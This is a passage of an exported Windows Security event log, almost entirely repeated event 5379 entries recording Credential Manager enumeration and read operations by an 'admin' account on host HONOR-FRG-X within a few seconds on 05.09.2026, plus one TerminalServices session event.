performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.550\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.550\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.550\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.551\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.551\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.551\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.551\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.551\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.551\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.551\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.551\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.552\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.552\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.605\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.607\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.607\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.607\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.609\t59\tRpcGetCurrentSessionCapabilities from C:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p -s wlidsvc( #0x0/0x2208 )\tInformation\tMicrosoft-Windows-TerminalServices-LocalSessionManager/Operational\tMicrosoft-Windows-TerminalServices-LocalSessionManager\n05.09.2026 08:52:56.609\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.039\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.040\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.040\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.040\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.040\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.040\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.041\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.041\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.041\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.041\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.041\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.041\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.041\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.042\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.042\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.042\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tRead Credential\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.048\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.048\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.048\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.048\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.049\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.049\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.049\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.049\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.049\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.049\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.050\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.050\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.050\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.054\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.055\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.055\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.055\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.055\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.055\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.055\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.055\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.056\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.056\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.056\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.056\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.056\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.057\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.057\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.073\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead 